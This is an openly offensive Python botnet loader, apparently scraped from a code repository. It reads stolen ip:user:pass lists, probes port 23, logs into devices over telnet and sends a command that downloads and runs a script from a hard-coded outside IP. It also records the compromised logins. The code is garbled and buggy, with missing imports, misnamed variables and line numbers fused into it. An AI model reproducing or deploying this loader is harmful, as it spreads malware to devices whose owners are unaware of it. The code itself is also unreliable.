Path: blob/master/Botnets/Scanning/TELNET/PY LOADER/telnet_loader.py
5038 views
#!/usr/bin/python1#Phaaaat hax SSH loader by Milenko23import sys, re, os, paramiko, socket4from threading import Thread5from time import sleep67if len(sys.argv) < 2:8sys.exit("\033[37mUsage: python "+sys.argv[0]+" [vuln list]")910paramiko.util.log_to_file("/dev/null")11rekdevice="cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://80.82.70.225/update.sh; busybox wget http://80.82.70.225/update.sh; chmod 777 update.sh; sh update.sh; rm -f update.sh" #command to send12print "\033[31m"1314print "S-S-SUUUPER fast telnet loader by Milenko"1516#simply find and replace newlines to :: then a newline so every IP starts with ::. It will scan those for port 22 or whatever your skiddie heart desires </317print "Reads ip:user:pass and simply checks the IP for port 23."18print "Then writes loads the bonet onto it and saves the logins with SSH running to \"telnetopen.txt\""19print "It is VERY fast and extremely efficient."20print "As it splits the file into equal chunks for each thread!"2122threads = int(raw_input("Threads: "))2324lines = open(sys.argv[1],"r").readlines()2526fh = open("telnetopen.txt","a+")2728def chunkify(lst,n):29return [ lst[i::n] for i in xrange(n) ]3031running = 03233loaded = 03435def printStatus():36while 1:37sleep(10)38print "\033[32m[\033[31m+\033[32m] Total eye pees loaded: " + str(loaded) + "\033[37m"39if loaded >= 1000:40print "Dayum u got sum phat hax brah :^}"4142def haxit(ip, username, password):43tn = telnetlib.Telnet(self.ip)4445try:46tn.read_until(b"sername: ")47tn.write(username + "\n")4849tn.read_until(b"assword: ")50tn.write(password + "\n")51prompt = tn.read_all()52if "$" in prompt or "#" in prompt:53tn.write(tekdevice + "\n")54print "\033[32m[\033[31m+\033[32m] Command Sent: " + ip + "\033[37m"55except:56pass5758def check(chunk, fh):59global running60running += 161threadID = running62for login in chunk:63if login.startswith("DUP"):64continue # skip DUPS cause fuck em6566s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)67s.settimeout(0.37)68try:69s.connect((login.split(":")[2], 23))70s.close()71print "\033[32m[\033[31m+\033[32m] " + login + " has telnet open. Loading..."72haxit(login.split(":")[0], login.split(":")[1], login.split(":")[2])73fh.write(login + "\r\n")74fh.flush()75except:76pass77print "\033[32m[\033[31m+\033[32m] Thread " + str(threadID) + " has finished scanning " + str(len(chunk)) + " IPs. Loaded: " + str(loads)78running -= 17980lines = map(lambda s: s.strip(), lines) # remove all newlines8182chunks = chunkify(lines, threads) # make seperate chunk for each thread8384print "STARTING SCAN AND LOAD!!!"8586Thread(target = printStatus, args = ()).start()8788for thread in xrange(0,threads):89if thread >= 384:90time.sleep(0.2)91try:92Thread(target = check, args = (chunks[thread], fh,)).start()93except:94pass95print "Scanning... Press enter 3 times to stop."9697for i in range(0,3):98raw_input()99100fh.close()101102os.popen("kill -9 " + str(os.getpid()))103104